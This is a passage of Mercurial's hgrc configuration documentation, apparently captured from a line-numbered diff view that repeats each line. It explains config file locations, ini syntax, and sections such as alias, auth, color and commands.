11 See :hg:`help config.syntax` and :hg:`help config.files`
12 for information about how and where to override things.
12 for information about how and where to override things.
13
13
14 Structure
14 Structure
15 =========
15 =========
16
16
17 The configuration files use a simple ini-file format. A configuration
17 The configuration files use a simple ini-file format. A configuration
18 file consists of sections, led by a ``[section]`` header and followed
18 file consists of sections, led by a ``[section]`` header and followed
19 by ``name = value`` entries::
19 by ``name = value`` entries::
20
20
21 [ui]
21 [ui]
22 username = Firstname Lastname <firstname.lastname@example.net>
22 username = Firstname Lastname <firstname.lastname@example.net>
23 verbose = True
23 verbose = True
24
24
25 The above entries will be referred to as ``ui.username`` and
25 The above entries will be referred to as ``ui.username`` and
26 ``ui.verbose``, respectively. See :hg:`help config.syntax`.
26 ``ui.verbose``, respectively. See :hg:`help config.syntax`.
27
27
28 Files
28 Files
29 =====
29 =====
30
30
31 Mercurial reads configuration data from several files, if they exist.
31 Mercurial reads configuration data from several files, if they exist.
32 These files do not exist by default and you will have to create the
32 These files do not exist by default and you will have to create the
33 appropriate configuration files yourself:
33 appropriate configuration files yourself:
34
34
35 Local configuration is put into the per-repository ``<repo>/.hg/hgrc`` file.
35 Local configuration is put into the per-repository ``<repo>/.hg/hgrc`` file.
36
36
37 Global configuration like the username setting is typically put into:
37 Global configuration like the username setting is typically put into:
38
38
39 .. container:: windows
39 .. container:: windows
40
40
41 - ``%USERPROFILE%\mercurial.ini`` (on Windows)
41 - ``%USERPROFILE%\mercurial.ini`` (on Windows)
42
42
43 .. container:: unix.plan9
43 .. container:: unix.plan9
44
44
45 - ``$HOME/.hgrc`` (on Unix, Plan9)
45 - ``$HOME/.hgrc`` (on Unix, Plan9)
46
46
47 The names of these files depend on the system on which Mercurial is
47 The names of these files depend on the system on which Mercurial is
48 installed. ``*.rc`` files from a single directory are read in
48 installed. ``*.rc`` files from a single directory are read in
49 alphabetical order, later ones overriding earlier ones. Where multiple
49 alphabetical order, later ones overriding earlier ones. Where multiple
50 paths are given below, settings from earlier paths override later
50 paths are given below, settings from earlier paths override later
51 ones.
51 ones.
52
52
53 .. container:: verbose.unix
53 .. container:: verbose.unix
54
54
55 On Unix, the following files are consulted:
55 On Unix, the following files are consulted:
56
56
57 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
57 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
58 - ``<repo>/.hg/hgrc`` (per-repository)
58 - ``<repo>/.hg/hgrc`` (per-repository)
59 - ``$HOME/.hgrc`` (per-user)
59 - ``$HOME/.hgrc`` (per-user)
60 - ``${XDG_CONFIG_HOME:-$HOME/.config}/hg/hgrc`` (per-user)
60 - ``${XDG_CONFIG_HOME:-$HOME/.config}/hg/hgrc`` (per-user)
61 - ``<install-root>/etc/mercurial/hgrc`` (per-installation)
61 - ``<install-root>/etc/mercurial/hgrc`` (per-installation)
62 - ``<install-root>/etc/mercurial/hgrc.d/*.rc`` (per-installation)
62 - ``<install-root>/etc/mercurial/hgrc.d/*.rc`` (per-installation)
63 - ``/etc/mercurial/hgrc`` (per-system)
63 - ``/etc/mercurial/hgrc`` (per-system)
64 - ``/etc/mercurial/hgrc.d/*.rc`` (per-system)
64 - ``/etc/mercurial/hgrc.d/*.rc`` (per-system)
65 - ``<internal>/*.rc`` (defaults)
65 - ``<internal>/*.rc`` (defaults)
66
66
67 .. container:: verbose.windows
67 .. container:: verbose.windows
68
68
69 On Windows, the following files are consulted:
69 On Windows, the following files are consulted:
70
70
71 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
71 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
72 - ``<repo>/.hg/hgrc`` (per-repository)
72 - ``<repo>/.hg/hgrc`` (per-repository)
73 - ``%USERPROFILE%\.hgrc`` (per-user)
73 - ``%USERPROFILE%\.hgrc`` (per-user)
74 - ``%USERPROFILE%\Mercurial.ini`` (per-user)
74 - ``%USERPROFILE%\Mercurial.ini`` (per-user)
75 - ``%HOME%\.hgrc`` (per-user)
75 - ``%HOME%\.hgrc`` (per-user)
76 - ``%HOME%\Mercurial.ini`` (per-user)
76 - ``%HOME%\Mercurial.ini`` (per-user)
77 - ``HKEY_LOCAL_MACHINE\SOFTWARE\Mercurial`` (per-system)
77 - ``HKEY_LOCAL_MACHINE\SOFTWARE\Mercurial`` (per-system)
78 - ``<install-dir>\hgrc.d\*.rc`` (per-installation)
78 - ``<install-dir>\hgrc.d\*.rc`` (per-installation)
79 - ``<install-dir>\Mercurial.ini`` (per-installation)
79 - ``<install-dir>\Mercurial.ini`` (per-installation)
80 - ``%PROGRAMDATA%\Mercurial\hgrc`` (per-system)
80 - ``%PROGRAMDATA%\Mercurial\hgrc`` (per-system)
81 - ``%PROGRAMDATA%\Mercurial\Mercurial.ini`` (per-system)
81 - ``%PROGRAMDATA%\Mercurial\Mercurial.ini`` (per-system)
82 - ``%PROGRAMDATA%\Mercurial\hgrc.d\*.rc`` (per-system)
82 - ``%PROGRAMDATA%\Mercurial\hgrc.d\*.rc`` (per-system)
83 - ``<internal>/*.rc`` (defaults)
83 - ``<internal>/*.rc`` (defaults)
84
84
85 .. note::
85 .. note::
86
86
87 The registry key ``HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mercurial``
87 The registry key ``HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mercurial``
88 is used when running 32-bit Python on 64-bit Windows.
88 is used when running 32-bit Python on 64-bit Windows.
89
89
90 .. container:: verbose.plan9
90 .. container:: verbose.plan9
91
91
92 On Plan9, the following files are consulted:
92 On Plan9, the following files are consulted:
93
93
94 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
94 - ``<repo>/.hg/hgrc-not-shared`` (per-repository)
95 - ``<repo>/.hg/hgrc`` (per-repository)
95 - ``<repo>/.hg/hgrc`` (per-repository)
96 - ``$home/lib/hgrc`` (per-user)
96 - ``$home/lib/hgrc`` (per-user)
97 - ``<install-root>/lib/mercurial/hgrc`` (per-installation)
97 - ``<install-root>/lib/mercurial/hgrc`` (per-installation)
98 - ``<install-root>/lib/mercurial/hgrc.d/*.rc`` (per-installation)
98 - ``<install-root>/lib/mercurial/hgrc.d/*.rc`` (per-installation)
99 - ``/lib/mercurial/hgrc`` (per-system)
99 - ``/lib/mercurial/hgrc`` (per-system)
100 - ``/lib/mercurial/hgrc.d/*.rc`` (per-system)
100 - ``/lib/mercurial/hgrc.d/*.rc`` (per-system)
101 - ``<internal>/*.rc`` (defaults)
101 - ``<internal>/*.rc`` (defaults)
102
102
103 Per-repository configuration options only apply in a
103 Per-repository configuration options only apply in a
104 particular repository. This file is not version-controlled, and
104 particular repository. This file is not version-controlled, and
105 will not get transferred during a "clone" operation. Options in
105 will not get transferred during a "clone" operation. Options in
106 this file override options in all other configuration files.
106 this file override options in all other configuration files.
107
107
108 .. container:: unix.plan9
108 .. container:: unix.plan9
109
109
110 On Plan 9 and Unix, most of this file will be ignored if it doesn't
110 On Plan 9 and Unix, most of this file will be ignored if it doesn't
111 belong to a trusted user or to a trusted group. See
111 belong to a trusted user or to a trusted group. See
112 :hg:`help config.trusted` for more details.
112 :hg:`help config.trusted` for more details.
113
113
114 Per-user configuration file(s) are for the user running Mercurial. Options
114 Per-user configuration file(s) are for the user running Mercurial. Options
115 in these files apply to all Mercurial commands executed by this user in any
115 in these files apply to all Mercurial commands executed by this user in any
116 directory. Options in these files override per-system and per-installation
116 directory. Options in these files override per-system and per-installation
117 options.
117 options.
118
118
119 Per-installation configuration files are searched for in the
119 Per-installation configuration files are searched for in the
120 directory where Mercurial is installed. ``<install-root>`` is the
120 directory where Mercurial is installed. ``<install-root>`` is the
121 parent directory of the **hg** executable (or symlink) being run.
121 parent directory of the **hg** executable (or symlink) being run.
122
122
123 .. container:: unix.plan9
123 .. container:: unix.plan9
124
124
125 For example, if installed in ``/shared/tools/bin/hg``, Mercurial
125 For example, if installed in ``/shared/tools/bin/hg``, Mercurial
126 will look in ``/shared/tools/etc/mercurial/hgrc``. Options in these
126 will look in ``/shared/tools/etc/mercurial/hgrc``. Options in these
127 files apply to all Mercurial commands executed by any user in any
127 files apply to all Mercurial commands executed by any user in any
128 directory.
128 directory.
129
129
130 Per-installation configuration files are for the system on
130 Per-installation configuration files are for the system on
131 which Mercurial is running. Options in these files apply to all
131 which Mercurial is running. Options in these files apply to all
132 Mercurial commands executed by any user in any directory. Registry
132 Mercurial commands executed by any user in any directory. Registry
133 keys contain PATH-like strings, every part of which must reference
133 keys contain PATH-like strings, every part of which must reference
134 a ``Mercurial.ini`` file or be a directory where ``*.rc`` files will
134 a ``Mercurial.ini`` file or be a directory where ``*.rc`` files will
135 be read. Mercurial checks each of these locations in the specified
135 be read. Mercurial checks each of these locations in the specified
136 order until one or more configuration files are detected.
136 order until one or more configuration files are detected.
137
137
138 Per-system configuration files are for the system on which Mercurial
138 Per-system configuration files are for the system on which Mercurial
139 is running. Options in these files apply to all Mercurial commands
139 is running. Options in these files apply to all Mercurial commands
140 executed by any user in any directory. Options in these files
140 executed by any user in any directory. Options in these files
141 override per-installation options.
141 override per-installation options.
142
142
143 Mercurial comes with some default configuration. The default configuration
143 Mercurial comes with some default configuration. The default configuration
144 files are installed with Mercurial and will be overwritten on upgrades. Default
144 files are installed with Mercurial and will be overwritten on upgrades. Default
145 configuration files should never be edited by users or administrators but can
145 configuration files should never be edited by users or administrators but can
146 be overridden in other configuration files. So far the directory only contains
146 be overridden in other configuration files. So far the directory only contains
147 merge tool configuration but packagers can also put other default configuration
147 merge tool configuration but packagers can also put other default configuration
148 there.
148 there.
149
149
150 On versions 5.7 and later, if share-safe functionality is enabled,
150 On versions 5.7 and later, if share-safe functionality is enabled,
151 shares will read config file of share source too.
151 shares will read config file of share source too.
152 `<share-source/.hg/hgrc>` is read before reading `<repo/.hg/hgrc>`.
152 `<share-source/.hg/hgrc>` is read before reading `<repo/.hg/hgrc>`.
153
153
154 For configs which should not be shared, `<repo/.hg/hgrc-not-shared>`
154 For configs which should not be shared, `<repo/.hg/hgrc-not-shared>`
155 should be used.
155 should be used.
156
156
157 Syntax
157 Syntax
158 ======
158 ======
159
159
160 A configuration file consists of sections, led by a ``[section]`` header
160 A configuration file consists of sections, led by a ``[section]`` header
161 and followed by ``name = value`` entries (sometimes called
161 and followed by ``name = value`` entries (sometimes called
162 ``configuration keys``)::
162 ``configuration keys``)::
163
163
164 [spam]
164 [spam]
165 eggs=ham
165 eggs=ham
166 green=
166 green=
167 eggs
167 eggs
168
168
169 Each line contains one entry. If the lines that follow are indented,
169 Each line contains one entry. If the lines that follow are indented,
170 they are treated as continuations of that entry. Leading whitespace is
170 they are treated as continuations of that entry. Leading whitespace is
171 removed from values. Empty lines are skipped. Lines beginning with
171 removed from values. Empty lines are skipped. Lines beginning with
172 ``#`` or ``;`` are ignored and may be used to provide comments.
172 ``#`` or ``;`` are ignored and may be used to provide comments.
173
173
174 Configuration keys can be set multiple times, in which case Mercurial
174 Configuration keys can be set multiple times, in which case Mercurial
175 will use the value that was configured last. As an example::
175 will use the value that was configured last. As an example::
176
176
177 [spam]
177 [spam]
178 eggs=large
178 eggs=large
179 ham=serrano
179 ham=serrano
180 eggs=small
180 eggs=small
181
181
182 This would set the configuration key named ``eggs`` to ``small``.
182 This would set the configuration key named ``eggs`` to ``small``.
183
183
184 It is also possible to define a section multiple times. A section can
184 It is also possible to define a section multiple times. A section can
185 be redefined on the same and/or on different configuration files. For
185 be redefined on the same and/or on different configuration files. For
186 example::
186 example::
187
187
188 [foo]
188 [foo]
189 eggs=large
189 eggs=large
190 ham=serrano
190 ham=serrano
191 eggs=small
191 eggs=small
192
192
193 [bar]
193 [bar]
194 eggs=ham
194 eggs=ham
195 green=
195 green=
196 eggs
196 eggs
197
197
198 [foo]
198 [foo]
199 ham=prosciutto
199 ham=prosciutto
200 eggs=medium
200 eggs=medium
201 bread=toasted
201 bread=toasted
202
202
203 This would set the ``eggs``, ``ham``, and ``bread`` configuration keys
203 This would set the ``eggs``, ``ham``, and ``bread`` configuration keys
204 of the ``foo`` section to ``medium``, ``prosciutto``, and ``toasted``,
204 of the ``foo`` section to ``medium``, ``prosciutto``, and ``toasted``,
205 respectively. As you can see there only thing that matters is the last
205 respectively. As you can see there only thing that matters is the last
206 value that was set for each of the configuration keys.
206 value that was set for each of the configuration keys.
207
207
208 If a configuration key is set multiple times in different
208 If a configuration key is set multiple times in different
209 configuration files the final value will depend on the order in which
209 configuration files the final value will depend on the order in which
210 the different configuration files are read, with settings from earlier
210 the different configuration files are read, with settings from earlier
211 paths overriding later ones as described on the ``Files`` section
211 paths overriding later ones as described on the ``Files`` section
212 above.
212 above.
213
213
214 A line of the form ``%include file`` will include ``file`` into the
214 A line of the form ``%include file`` will include ``file`` into the
215 current configuration file. The inclusion is recursive, which means
215 current configuration file. The inclusion is recursive, which means
216 that included files can include other files. Filenames are relative to
216 that included files can include other files. Filenames are relative to
217 the configuration file in which the ``%include`` directive is found.
217 the configuration file in which the ``%include`` directive is found.
218 Environment variables and ``~user`` constructs are expanded in
218 Environment variables and ``~user`` constructs are expanded in
219 ``file``. This lets you do something like::
219 ``file``. This lets you do something like::
220
220
221 %include ~/.hgrc.d/$HOST.rc
221 %include ~/.hgrc.d/$HOST.rc
222
222
223 to include a different configuration file on each computer you use.
223 to include a different configuration file on each computer you use.
224
224
225 A line with ``%unset name`` will remove ``name`` from the current
225 A line with ``%unset name`` will remove ``name`` from the current
226 section, if it has been set previously.
226 section, if it has been set previously.
227
227
228 The values are either free-form text strings, lists of text strings,
228 The values are either free-form text strings, lists of text strings,
229 or Boolean values. Boolean values can be set to true using any of "1",
229 or Boolean values. Boolean values can be set to true using any of "1",
230 "yes", "true", or "on" and to false using "0", "no", "false", or "off"
230 "yes", "true", or "on" and to false using "0", "no", "false", or "off"
231 (all case insensitive).
231 (all case insensitive).
232
232
233 List values are separated by whitespace or comma, except when values are
233 List values are separated by whitespace or comma, except when values are
234 placed in double quotation marks::
234 placed in double quotation marks::
235
235
236 allow_read = "John Doe, PhD", brian, betty
236 allow_read = "John Doe, PhD", brian, betty
237
237
238 Quotation marks can be escaped by prefixing them with a backslash. Only
238 Quotation marks can be escaped by prefixing them with a backslash. Only
239 quotation marks at the beginning of a word is counted as a quotation
239 quotation marks at the beginning of a word is counted as a quotation
240 (e.g., ``foo"bar baz`` is the list of ``foo"bar`` and ``baz``).
240 (e.g., ``foo"bar baz`` is the list of ``foo"bar`` and ``baz``).
241
241
242 Sections
242 Sections
243 ========
243 ========
244
244
245 This section describes the different sections that may appear in a
245 This section describes the different sections that may appear in a
246 Mercurial configuration file, the purpose of each section, its possible
246 Mercurial configuration file, the purpose of each section, its possible
247 keys, and their possible values.
247 keys, and their possible values.
248
248
249 ``alias``
249 ``alias``
250 ---------
250 ---------
251
251
252 Defines command aliases.
252 Defines command aliases.
253
253
254 Aliases allow you to define your own commands in terms of other
254 Aliases allow you to define your own commands in terms of other
255 commands (or aliases), optionally including arguments. Positional
255 commands (or aliases), optionally including arguments. Positional
256 arguments in the form of ``$1``, ``$2``, etc. in the alias definition
256 arguments in the form of ``$1``, ``$2``, etc. in the alias definition
257 are expanded by Mercurial before execution. Positional arguments not
257 are expanded by Mercurial before execution. Positional arguments not
258 already used by ``$N`` in the definition are put at the end of the
258 already used by ``$N`` in the definition are put at the end of the
259 command to be executed.
259 command to be executed.
260
260
261 Alias definitions consist of lines of the form::
261 Alias definitions consist of lines of the form::
262
262
263 <alias> = <command> [<argument>]...
263 <alias> = <command> [<argument>]...
264
264
265 For example, this definition::
265 For example, this definition::
266
266
267 latest = log --limit 5
267 latest = log --limit 5
268
268
269 creates a new command ``latest`` that shows only the five most recent
269 creates a new command ``latest`` that shows only the five most recent
270 changesets. You can define subsequent aliases using earlier ones::
270 changesets. You can define subsequent aliases using earlier ones::
271
271
272 stable5 = latest -b stable
272 stable5 = latest -b stable
273
273
274 .. note::
274 .. note::
275
275
276 It is possible to create aliases with the same names as
276 It is possible to create aliases with the same names as
277 existing commands, which will then override the original
277 existing commands, which will then override the original
278 definitions. This is almost always a bad idea!
278 definitions. This is almost always a bad idea!
279
279
280 An alias can start with an exclamation point (``!``) to make it a
280 An alias can start with an exclamation point (``!``) to make it a
281 shell alias. A shell alias is executed with the shell and will let you
281 shell alias. A shell alias is executed with the shell and will let you
282 run arbitrary commands. As an example, ::
282 run arbitrary commands. As an example, ::
283
283
284 echo = !echo $@
284 echo = !echo $@
285
285
286 will let you do ``hg echo foo`` to have ``foo`` printed in your
286 will let you do ``hg echo foo`` to have ``foo`` printed in your
287 terminal. A better example might be::
287 terminal. A better example might be::
288
288
289 purge = !$HG status --no-status --unknown -0 re: | xargs -0 rm -f
289 purge = !$HG status --no-status --unknown -0 re: | xargs -0 rm -f
290
290
291 which will make ``hg purge`` delete all unknown files in the
291 which will make ``hg purge`` delete all unknown files in the
292 repository in the same manner as the purge extension.
292 repository in the same manner as the purge extension.
293
293
294 Positional arguments like ``$1``, ``$2``, etc. in the alias definition
294 Positional arguments like ``$1``, ``$2``, etc. in the alias definition
295 expand to the command arguments. Unmatched arguments are
295 expand to the command arguments. Unmatched arguments are
296 removed. ``$0`` expands to the alias name and ``$@`` expands to all
296 removed. ``$0`` expands to the alias name and ``$@`` expands to all
297 arguments separated by a space. ``"$@"`` (with quotes) expands to all
297 arguments separated by a space. ``"$@"`` (with quotes) expands to all
298 arguments quoted individually and separated by a space. These expansions
298 arguments quoted individually and separated by a space. These expansions
299 happen before the command is passed to the shell.
299 happen before the command is passed to the shell.
300
300
301 Shell aliases are executed in an environment where ``$HG`` expands to
301 Shell aliases are executed in an environment where ``$HG`` expands to
302 the path of the Mercurial that was used to execute the alias. This is
302 the path of the Mercurial that was used to execute the alias. This is
303 useful when you want to call further Mercurial commands in a shell
303 useful when you want to call further Mercurial commands in a shell
304 alias, as was done above for the purge alias. In addition,
304 alias, as was done above for the purge alias. In addition,
305 ``$HG_ARGS`` expands to the arguments given to Mercurial. In the ``hg
305 ``$HG_ARGS`` expands to the arguments given to Mercurial. In the ``hg
306 echo foo`` call above, ``$HG_ARGS`` would expand to ``echo foo``.
306 echo foo`` call above, ``$HG_ARGS`` would expand to ``echo foo``.
307
307
308 .. note::
308 .. note::
309
309
310 Some global configuration options such as ``-R`` are
310 Some global configuration options such as ``-R`` are
311 processed before shell aliases and will thus not be passed to
311 processed before shell aliases and will thus not be passed to
312 aliases.
312 aliases.
313
313
314
314
315 ``annotate``
315 ``annotate``
316 ------------
316 ------------
317
317
318 Settings used when displaying file annotations. All values are
318 Settings used when displaying file annotations. All values are
319 Booleans and default to False. See :hg:`help config.diff` for
319 Booleans and default to False. See :hg:`help config.diff` for
320 related options for the diff command.
320 related options for the diff command.
321
321
322 ``ignorews``
322 ``ignorews``
323 Ignore white space when comparing lines.
323 Ignore white space when comparing lines.
324
324
325 ``ignorewseol``
325 ``ignorewseol``
326 Ignore white space at the end of a line when comparing lines.
326 Ignore white space at the end of a line when comparing lines.
327
327
328 ``ignorewsamount``
328 ``ignorewsamount``
329 Ignore changes in the amount of white space.
329 Ignore changes in the amount of white space.
330
330
331 ``ignoreblanklines``
331 ``ignoreblanklines``
332 Ignore changes whose lines are all blank.
332 Ignore changes whose lines are all blank.
333
333
334
334
335 ``auth``
335 ``auth``
336 --------
336 --------
337
337
338 Authentication credentials and other authentication-like configuration
338 Authentication credentials and other authentication-like configuration
339 for HTTP connections. This section allows you to store usernames and
339 for HTTP connections. This section allows you to store usernames and
340 passwords for use when logging *into* HTTP servers. See
340 passwords for use when logging *into* HTTP servers. See
341 :hg:`help config.web` if you want to configure *who* can login to
341 :hg:`help config.web` if you want to configure *who* can login to
342 your HTTP server.
342 your HTTP server.
343
343
344 The following options apply to all hosts.
344 The following options apply to all hosts.
345
345
346 ``cookiefile``
346 ``cookiefile``
347 Path to a file containing HTTP cookie lines. Cookies matching a
347 Path to a file containing HTTP cookie lines. Cookies matching a
348 host will be sent automatically.
348 host will be sent automatically.
349
349
350 The file format uses the Mozilla cookies.txt format, which defines cookies
350 The file format uses the Mozilla cookies.txt format, which defines cookies
351 on their own lines. Each line contains 7 fields delimited by the tab
351 on their own lines. Each line contains 7 fields delimited by the tab
352 character (domain, is_domain_cookie, path, is_secure, expires, name,
352 character (domain, is_domain_cookie, path, is_secure, expires, name,
353 value). For more info, do an Internet search for "Netscape cookies.txt
353 value). For more info, do an Internet search for "Netscape cookies.txt
354 format."
354 format."
355
355
356 Note: the cookies parser does not handle port numbers on domains. You
356 Note: the cookies parser does not handle port numbers on domains. You
357 will need to remove ports from the domain for the cookie to be recognized.
357 will need to remove ports from the domain for the cookie to be recognized.
358 This could result in a cookie being disclosed to an unwanted server.
358 This could result in a cookie being disclosed to an unwanted server.
359
359
360 The cookies file is read-only.
360 The cookies file is read-only.
361
361
362 Other options in this section are grouped by name and have the following
362 Other options in this section are grouped by name and have the following
363 format::
363 format::
364
364
365 <name>.<argument> = <value>
365 <name>.<argument> = <value>
366
366
367 where ``<name>`` is used to group arguments into authentication
367 where ``<name>`` is used to group arguments into authentication
368 entries. Example::
368 entries. Example::
369
369
370 foo.prefix = hg.intevation.de/mercurial
370 foo.prefix = hg.intevation.de/mercurial
371 foo.username = foo
371 foo.username = foo
372 foo.password = bar
372 foo.password = bar
373 foo.schemes = http https
373 foo.schemes = http https
374
374
375 bar.prefix = secure.example.org
375 bar.prefix = secure.example.org
376 bar.key = path/to/file.key
376 bar.key = path/to/file.key
377 bar.cert = path/to/file.cert
377 bar.cert = path/to/file.cert
378 bar.schemes = https
378 bar.schemes = https
379
379
380 Supported arguments:
380 Supported arguments:
381
381
382 ``prefix``
382 ``prefix``
383 Either ``*`` or a URI prefix with or without the scheme part.
383 Either ``*`` or a URI prefix with or without the scheme part.
384 The authentication entry with the longest matching prefix is used
384 The authentication entry with the longest matching prefix is used
385 (where ``*`` matches everything and counts as a match of length
385 (where ``*`` matches everything and counts as a match of length
386 1). If the prefix doesn't include a scheme, the match is performed
386 1). If the prefix doesn't include a scheme, the match is performed
387 against the URI with its scheme stripped as well, and the schemes
387 against the URI with its scheme stripped as well, and the schemes
388 argument, q.v., is then subsequently consulted.
388 argument, q.v., is then subsequently consulted.
389
389
390 ``username``
390 ``username``
391 Optional. Username to authenticate with. If not given, and the
391 Optional. Username to authenticate with. If not given, and the
392 remote site requires basic or digest authentication, the user will
392 remote site requires basic or digest authentication, the user will
393 be prompted for it. Environment variables are expanded in the
393 be prompted for it. Environment variables are expanded in the
394 username letting you do ``foo.username = $USER``. If the URI
394 username letting you do ``foo.username = $USER``. If the URI
395 includes a username, only ``[auth]`` entries with a matching
395 includes a username, only ``[auth]`` entries with a matching
396 username or without a username will be considered.
396 username or without a username will be considered.
397
397
398 ``password``
398 ``password``
399 Optional. Password to authenticate with. If not given, and the
399 Optional. Password to authenticate with. If not given, and the
400 remote site requires basic or digest authentication, the user
400 remote site requires basic or digest authentication, the user
401 will be prompted for it.
401 will be prompted for it.
402
402
403 ``key``
403 ``key``
404 Optional. PEM encoded client certificate key file. Environment
404 Optional. PEM encoded client certificate key file. Environment
405 variables are expanded in the filename.
405 variables are expanded in the filename.
406
406
407 ``cert``
407 ``cert``
408 Optional. PEM encoded client certificate chain file. Environment
408 Optional. PEM encoded client certificate chain file. Environment
409 variables are expanded in the filename.
409 variables are expanded in the filename.
410
410
411 ``schemes``
411 ``schemes``
412 Optional. Space separated list of URI schemes to use this
412 Optional. Space separated list of URI schemes to use this
413 authentication entry with. Only used if the prefix doesn't include
413 authentication entry with. Only used if the prefix doesn't include
414 a scheme. Supported schemes are http and https. They will match
414 a scheme. Supported schemes are http and https. They will match
415 static-http and static-https respectively, as well.
415 static-http and static-https respectively, as well.
416 (default: https)
416 (default: https)
417
417
418 If no suitable authentication entry is found, the user is prompted
418 If no suitable authentication entry is found, the user is prompted
419 for credentials as usual if required by the remote.
419 for credentials as usual if required by the remote.
420
420
421 ``cmdserver``
421 ``cmdserver``
422 -------------
422 -------------
423
423
424 Controls command server settings. (ADVANCED)
424 Controls command server settings. (ADVANCED)
425
425
426 ``message-encodings``
426 ``message-encodings``
427 List of encodings for the ``m`` (message) channel. The first encoding
427 List of encodings for the ``m`` (message) channel. The first encoding
428 supported by the server will be selected and advertised in the hello
428 supported by the server will be selected and advertised in the hello
429 message. This is useful only when ``ui.message-output`` is set to
429 message. This is useful only when ``ui.message-output`` is set to
430 ``channel``. Supported encodings are ``cbor``.
430 ``channel``. Supported encodings are ``cbor``.
431
431
432 ``shutdown-on-interrupt``
432 ``shutdown-on-interrupt``
433 If set to false, the server's main loop will continue running after
433 If set to false, the server's main loop will continue running after
434 SIGINT received. ``runcommand`` requests can still be interrupted by
434 SIGINT received. ``runcommand`` requests can still be interrupted by
435 SIGINT. Close the write end of the pipe to shut down the server
435 SIGINT. Close the write end of the pipe to shut down the server
436 process gracefully.
436 process gracefully.
437 (default: True)
437 (default: True)
438
438
439 ``color``
439 ``color``
440 ---------
440 ---------
441
441
442 Configure the Mercurial color mode. For details about how to define your custom
442 Configure the Mercurial color mode. For details about how to define your custom
443 effect and style see :hg:`help color`.
443 effect and style see :hg:`help color`.
444
444
445 ``mode``
445 ``mode``
446 String: control the method used to output color. One of ``auto``, ``ansi``,
446 String: control the method used to output color. One of ``auto``, ``ansi``,
447 ``win32``, ``terminfo`` or ``debug``. In auto mode, Mercurial will
447 ``win32``, ``terminfo`` or ``debug``. In auto mode, Mercurial will
448 use ANSI mode by default (or win32 mode prior to Windows 10) if it detects a
448 use ANSI mode by default (or win32 mode prior to Windows 10) if it detects a
449 terminal. Any invalid value will disable color.
449 terminal. Any invalid value will disable color.
450
450
451 ``pagermode``
451 ``pagermode``
452 String: optional override of ``color.mode`` used with pager.
452 String: optional override of ``color.mode`` used with pager.
453
453
454 On some systems, terminfo mode may cause problems when using
454 On some systems, terminfo mode may cause problems when using
455 color with ``less -R`` as a pager program. less with the -R option
455 color with ``less -R`` as a pager program. less with the -R option
456 will only display ECMA-48 color codes, and terminfo mode may sometimes
456 will only display ECMA-48 color codes, and terminfo mode may sometimes
457 emit codes that less doesn't understand. You can work around this by
457 emit codes that less doesn't understand. You can work around this by
458 either using ansi mode (or auto mode), or by using less -r (which will
458 either using ansi mode (or auto mode), or by using less -r (which will
459 pass through all terminal control codes, not just color control
459 pass through all terminal control codes, not just color control
460 codes).
460 codes).
461
461
462 On some systems (such as MSYS in Windows), the terminal may support
462 On some systems (such as MSYS in Windows), the terminal may support
463 a different color mode than the pager program.
463 a different color mode than the pager program.
464
464
465 ``commands``
465 ``commands``
466 ------------
466 ------------
467
467
468 ``commit.post-status``
468 ``commit.post-status``
469 Show status of files in the working directory after successful commit.
469 Show status of files in the working directory after successful commit.
470 (default: False)
470 (default: False)
471
471
472 ``merge.require-rev``
472 ``merge.require-rev``
473 Require that the revision to merge the current commit with be specified on
473 Require that the revision to merge the current commit with be specified on
474 the command line. If this is enabled and a revision is not specified, the
474 the command line. If this is enabled and a revision is not specified, the
475 command aborts.
475 command aborts.
476 (default: False)
476 (default: False)
477
477
478 ``push.require-revs``
478 ``push.require-revs``
479 Require revisions to push be specified using one or more mechanisms such as
479 Require revisions to push be specified using one or more mechanisms such as
480 specifying them positionally on the command line, using ``-r``, ``-b``,
480 specifying them positionally on the command line, using ``-r``, ``-b``,
481 and/or ``-B`` on the command line, or using ``paths.<path>:pushrev`` in the
481 and/or ``-B`` on the command line, or using ``paths.<path>:pushrev`` in the
482 configuration. If this is enabled and revisions are not specified, the
482 configuration. If this is enabled and revisions are not specified, the
483 command aborts.
483 command aborts.
484 (default: False)
484 (default: False)
485
485
486 ``resolve.confirm``
486 ``resolve.confirm``
487 Confirm before performing action if no filename is passed.
487 Confirm before performing action if no filename is passed.
488 (default: False)
488 (default: False)
489
489
490 ``resolve.explicit-re-merge``
490 ``resolve.explicit-re-merge``
491 Require uses of ``hg resolve`` to specify which action it should perform,
491 Require uses of ``hg resolve`` to specify which action it should perform,
492 instead of re-merging files by default.
492 instead of re-merging files by default.
493 (default: False)
493 (default: False)
494
494
495 ``resolve.mark-check``
495 ``resolve.mark-check``
496 Determines what level of checking :hg:`resolve --mark` will perform before
496 Determines what level of checking :hg:`resolve --mark` will perform before
497 marking files as resolved. Valid values are ``none`, ``warn``, and
497 marking files as resolved. Valid values are ``none`, ``warn``, and
498 ``abort``. ``warn`` will output a warning listing the file(s) that still
498 ``abort``. ``warn`` will output a warning listing the file(s) that still
499 have conflict markers in them, but will still mark everything resolved.
499 have conflict markers in them, but will still mark everything resolved.
500 ``abort`` will output the same warning but will not mark things as resolved.
500 ``abort`` will output the same warning but will not mark things as resolved.
501 If --all is passed and this is set to ``abort``, only a warning will be
501 If --all is passed and this is set to ``abort``, only a warning will be
502 shown (an error will not be raised).
502 shown (an error will not be raised).
503 (default: ``none``)
503 (default: ``none``)
504
504
505 ``status.relative``
505 ``status.relative``
506 Make paths in :hg:`status` output relative to the current directory.
506 Make paths in :hg:`status` output relative to the current directory.
507 (default: False)
507 (default: False)
508
508
509 ``status.terse``
509 ``status.terse``
510 Default value for the --terse flag, which condenses status output.
510 Default value for the --terse flag, which condenses status output.
511 (default: empty)
511 (default: empty)
512
512
513 ``update.check``
513 ``update.check``
514 Determines what level of checking :hg:`update` will perform before moving
514 Determines what level of checking :hg:`update` will perform before moving
515 to a destination revision. Valid values are ``abort``, ``none``,
515 to a destination revision. Valid values are ``abort``, ``none``,
516 ``linear``, and ``noconflict``.
516 ``linear``, and ``noconflict``.
517
517
518 - ``abort`` always fails if the working directory has uncommitted changes.
518 - ``abort`` always fails if the working directory has uncommitted changes.
519
519
520 - ``none`` performs no checking, and may result in a merge with uncommitted changes.
520 - ``none`` performs no checking, and may result in a merge with uncommitted changes.
521
521
